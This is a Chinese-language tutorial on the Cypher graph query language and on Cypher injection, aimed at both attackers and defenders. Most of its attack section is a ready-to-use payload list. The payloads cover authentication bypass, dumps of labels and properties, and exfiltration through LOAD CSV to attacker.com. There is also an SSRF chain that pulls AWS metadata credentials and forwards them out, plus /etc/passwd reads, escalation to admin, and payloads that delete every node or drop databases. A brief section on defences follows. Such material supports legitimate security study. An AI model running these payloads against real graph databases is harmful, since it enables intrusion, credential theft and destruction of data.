Cypher,全称为 (Open) Cypher Query Language,是一种专为图数据库设计的声明式查询语言。它以直观的模式匹配方式,帮助开发者和数据分析师从复杂的图结构数据中检索、创建和修改信息。如果说 SQL 是关系型数据库的语言,那么 Cypher 就是图数据库的语言。Cypher 最初由 Neo4j 开发,通过 openCypher 项目成为开放标准,现已被 RedisGraph、Apache Spark、Amazon Neptune 等多种图数据库采纳,成为图查询语言的事实标准之一。
本文将全面介绍 Cypher 的基础知识、语法结构以及 Cypher 注入的原理与攻击手法。
1. 图数据库与 Cypher 基础
图数据库的核心要素
与传统的关系型数据库(基于表格和行)不同,图数据库通过节点和关系的结构化方式存储数据。其核心由以下四个元素构成:
- 节点 (Nodes):表示图中的实体,如人、书籍或公司。节点可以包含 属性 (Properties),以键值对形式存储详细信息,例如
{name: 'Alice', age: 25}
。 - 关系 (Relationships):连接两个节点,描述它们之间的关联。关系具有方向和类型,例如
(Alice)-[:FRIENDS_WITH]->(Bob)
表示 Alice 与 Bob 之间的“朋友”关系。关系也可以拥有属性。 - 属性 (Properties):存储在节点或关系中的键值对,用于附加详细信息。例如,一个
:Person
节点可能有{name: 'Andy', title: 'Developer'}
。 - 标签 (Labels):用于对节点或关系进行分类。例如,所有表示人物的节点可以打上
:Person
标签,表示公司的节点可以打上:Company
标签,便于快速查询特定类型的实体。
一个典型的应用场景是安全分析工具 BloodHound,它利用 Neo4j 和 Cypher 的能力可视化并分析 Active Directory 中的复杂权限关系,帮助安全人员发现潜在的攻击路径。
Cypher 查询语言基础语法
Cypher 的强大之处在于其声明式和可组合的特性,通过一系列 子句 (Clauses) 构建查询,每个子句像管道一样处理数据,将前一个子句的输出传递给下一个子句。以下是 Cypher 的核心语法和子句:
查询注释
- 行内注释:
//
用于单行注释。 - 多行注释:
/* ... */
用于多行注释。
核心子句详解
-
MATCH:Cypher 的核心子句,用于匹配图中的模式,类似于 SQL 的
SELECT ... FROM
,但更直观。// 匹配所有标签为 "Fruit" 的节点并返回 MATCH (a:Fruit) RETURN a// 匹配具有特定属性的 "Fruit" 节点 MATCH (a:Fruit {title: 'Green Apple'}) RETURN a// 使用 WHERE 子句进行复杂过滤 MATCH (a:Fruit) WHERE a.title = "Green Apple" RETURN a// 限制结果数量并排序 MATCH (a:Fruit) RETURN a ORDER BY a.title DESC LIMIT 20
这里的
a
是一个变量,代表匹配到的节点,类似于编程中的临时变量名,开发者可以自由命名(如a
、n
、m
),用于在查询中引用节点。 -
CREATE:用于创建新的节点和关系。
// 创建一个空节点 CREATE (n)// 创建带标签和属性的节点 CREATE (n:Person {name: 'Andy', title: 'Developer'})// 创建节点后通过 SET 添加或修改属性 CREATE (n:Account) SET n.id=1, n.username="admin", n.password="password123" RETURN n
这里的
n
是节点变量,用于表示新创建的节点。 -
UNION / UNION ALL:合并多个查询结果。
UNION
会去重,UNION ALL
保留所有结果。合并的查询必须返回相同数量和名称的列。// 合并人员姓名和书籍标题,使用相同别名 MATCH (n:Person) RETURN n.name AS name UNION MATCH (b:Book) RETURN b.title AS name
这里的
n
和b
是变量,分别表示:Person
和:Book
节点。 -
WITH:将前一个子句的输出作为中间结果传递给下一个子句,常用于复杂查询或注入攻击中的查询链。
// 匹配所有节点,排序并限制结果 MATCH (c) WITH c ORDER BY c.Character DESC LIMIT 3 RETURN collect(c.name)
这里的
c
是变量,代表匹配到的节点。 -
YIELD:在
CALL
语句中指定过程返回的字段,绑定到变量供后续使用。// 调用 db.labels() 获取所有标签,绑定到变量 x CALL db.labels() YIELD label AS x
-
LOAD CSV:从本地或远程 CSV 文件导入数据,支持
HTTPS
、HTTP
、FTP
和file:///
协议,常被用于 SSRF 或任意文件读取攻击。// 读取本地文件,可能导致任意文件读取 LOAD CSV FROM 'file:///etc/passwd' AS line RETURN line// 读取远程文件,可能导致数据外泄 LOAD CSV FROM 'https://attacker.com/data.csv' AS line RETURN line
这里的
line
是变量,表示 CSV 文件的每一行数据。 -
APOC 库:Awesome Procedures on Cypher 是一个 Neo4j 扩展库,提供丰富的功能,如
apoc.load.json()
用于导入 JSON 数据,apoc.util.sleep()
用于时间延迟(常用于时间盲注)。由于其强大功能,APOC 库是 Cypher 注入攻击的重要目标。
2. Cypher 注入:原理与攻击手法
Cypher 注入是一种类似于 SQL 注入的攻击方式,攻击者通过在用户可控的输入中插入恶意 Cypher 代码,改变查询的原始意图,执行未经授权的操作,如数据泄露、权限提升或拒绝服务。
Cypher 注入的分类
根据攻击者与数据库交互的方式,Cypher 注入可分为以下几类:
- 带内注入 (In-band):攻击者通过同一通道注入代码并直接获取结果。
- 基于错误 (Error-based):通过构造恶意输入触发数据库错误,推断数据库结构或泄露数据。
- 推断型盲注 (Inferential Blind):攻击者无法直接看到结果,但通过应用程序的行为推断信息。
- 基于布尔值 (Boolean-based):通过注入
OR 1=1
或OR 1=0
,观察响应差异。 - 基于时间 (Time-based):通过
apoc.util.sleep()
等延迟函数,判断注入是否成功。
- 基于布尔值 (Boolean-based):通过注入
- 带外注入 (Out-of-band):利用
LOAD CSV
等功能使数据库向攻击者控制的服务器发送请求,实现数据外泄或 SSRF。
与 SQL 注入相比,Cypher 注入有以下特点:
- 无“表”概念:无法直接通过
UNION
从其他“表”获取数据,但可合并不同查询结果。 - 时间盲注需依赖 APOC:Cypher 本身无
sleep
函数,需使用apoc.util.sleep()
。
经典注入攻击示例
以下是一些典型的 Cypher 注入攻击,展示如何利用漏洞实现恶意目的。
示例 1:简单带内注入 - 绕过查询限制
原始查询(以 NodeJS 应用为例):
executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")
攻击载荷:
Spongebob' or 1=1 RETURN c//
最终查询:
MATCH (c:Character) WHERE c.name = 'Spongebob' or 1=1 RETURN c//' RETURN c
分析:
'
闭合字符串,注入or 1=1
使条件永真。//
注释掉后续内容,返回所有:Character
节点,绕过查询限制。
示例 2:带外注入 - 数据外泄
原始查询:
MATCH (p:Person) WHERE id(p) = 42 RETURN p
攻击载荷:
42 CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/' + label AS r
最终查询:
MATCH (p:Person) WHERE id(p) = 42 CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/' + label AS r RETURN p
分析:
CALL db.labels()
获取所有标签。LOAD CSV FROM 'https://attacker.com/' + label
将每个标签发送到攻击者服务器。- 变量
r
表示LOAD CSV
的返回数据(通常为空或 CSV 内容)。
示例 3:OPTIONAL MATCH
泄露所有节点
攻击载荷:
1 OPTIONAL MATCH (m) RETURN m AS n //
分析:
OPTIONAL MATCH (m)
匹配图中所有节点(包括无标签节点),即使没有匹配也不会报错。RETURN m AS n
将所有节点重命名为n
返回。- 变量
m
表示匹配到的节点,n
是输出别名。 - 效果:可能泄露整个数据库的节点数据,适用于带内注入场景。
构建恶意载荷的技巧
- 注入上下文分析:根据注入点的位置(字符串、括号等),使用
'
、"
、)
或}
闭合原始查询。 - 利用注释:通过
//
或/* ... */
注释掉不需要的查询部分(如LIMIT
或RETURN
)。 - WITH 子句:在
CREATE
等子句中注入WITH 1337 AS y
跳出上下文,追加恶意子句。 - URL 编码:在 HTTP 请求中,确保空格、引号等特殊字符被正确编码(如
%20
、%27
)。
3. 漏洞检测与利用实战
检测 Cypher 注入漏洞
- 基于错误检测:
- 输入
'
或"
,观察是否触发语法错误。 - 输入
1/0
,触发运行时错误,分析错误信息以获取数据库结构或版本。
- 输入
- 盲注检测:
- 数学运算:在数字参数中注入
41+2-1
,若响应与42
相同,可能存在注入。 - 布尔值:注入
' or 1=1//
和' or 1=0//
,观察响应差异。
- 数学运算:在数字参数中注入
- 带外检测:
- 使用
LOAD CSV
向攻击者控制的服务器(如 Burp Collaborator)发送请求。 - 示例:
1 CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/' + label AS b RETURN b//
- 变量
b
表示LOAD CSV
的返回数据。
- 变量
- 使用
丰富的利用载荷
以下是针对不同攻击目标的 Cypher 注入载荷,涵盖认证绕过、数据泄露、SSRF、权限提升和拒绝服务。
认证绕过
- 载荷:
' or 1=1//
- 场景:登录表单,绕过用户名或密码验证。
- 效果:使条件永真,返回所有匹配节点。
数据泄露(带内)
-
泄露所有标签:
' RETURN 1 AS x UNION CALL db.labels() YIELD label AS x RETURN x//
- 变量
x
表示返回的标签名。
- 变量
-
泄露指定标签的属性:
' RETURN 1 AS x UNION MATCH (c:Character) RETURN DISTINCT keys(c) AS x//
- 变量
c
表示:Character
节点,x
表示属性键。
- 变量
-
泄露属性值:
' RETURN 1 AS x UNION MATCH (c:Character) RETURN c.name AS x//
- 变量
x
表示节点属性name
的值。
- 变量
数据泄露(带外)
-
泄露所有标签:
' CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/'+label AS b RETURN b//
- 变量
b
表示LOAD CSV
的返回数据。
- 变量
-
泄露属性值(需 APOC 库):
' MATCH (c:Character) LOAD CSV FROM 'https://attacker.com/'+c.name AS b RETURN b//
- 变量
b
表示LOAD CSV
的返回数据。
- 变量
SSRF 与任意文件读取
-
泄露内部服务:
LOAD CSV FROM "http://169.254.169.254/latest/meta-data/iam/security-credentials/" AS x LOAD CSV FROM "https://attacker.com/"+x[0] AS y RETURN ''//
- 变量
x
表示 AWS 元数据,y
表示外泄数据。
- 变量
-
任意文件读取:
' RETURN n UNION LOAD CSV FROM "file:///etc/passwd" AS n RETURN n //
- 变量
n
表示文件内容。
- 变量
权限提升
- 原始查询:
CREATE (n:Account) SET n.password="{注入点}"
- 攻击载荷:
", n.admin=True RETURN n//
- 最终查询:
CREATE (n:Account) SET n.password="", n.admin=True RETURN n //
- 变量
n
表示创建的账户节点,注入后提升为管理员。
- 变量
拒绝服务 (DoS)
-
删除所有节点:
' MATCH (all) DETACH DELETE all//
- 变量
all
表示所有节点。
- 变量
-
删除数据库:
' USE system CALL dbms.listDatabases() YIELD name WHERE name <> 'system' CALL { WITH name DROP DATABASE name } IN TRANSACTIONS RETURN 1 //
- 变量
name
表示数据库名称。
- 变量
4. 防御 Cypher 注入
- 参数化查询:使用参数化查询(prepared statements)代替字符串拼接。例如:
executeQuery("MATCH (c:Character) WHERE c.name = $name RETURN c", { name: userInput })
- 输入验证和清理:严格验证用户输入,过滤特殊字符(如
'
、"
,//
)。 - 最小权限原则:限制数据库用户的权限,避免执行高危操作(如
DETACH DELETE
或DROP DATABASE
)。 - 禁用 APOC 高危功能:限制
apoc.util.sleep()
等函数,防止时间盲注。 - 限制 LOAD CSV:禁用
file://
协议,限制外部网络请求。 - 错误信息隐藏:避免返回详细的数据库错误信息。
总结
Cypher 是一种强大且直观的图查询语言,广泛应用于图数据库中,但其灵活性也带来了 Cypher 注入 的风险。攻击者可以通过注入恶意代码实现认证绕过、数据泄露、SSRF、权限提升甚至拒绝服务。变量如 m
、n
、b
是查询中的临时标识符,具体含义取决于上下文,例如在 OPTIONAL MATCH (m) RETURN m AS n //
中,m
表示所有节点,n
是输出别名,可能导致整个数据库内容泄露。通过理解 Cypher 的语法和注入原理,开发者可以更好地检测和防御漏洞,而安全研究人员则能更有效地发现和利用潜在风险。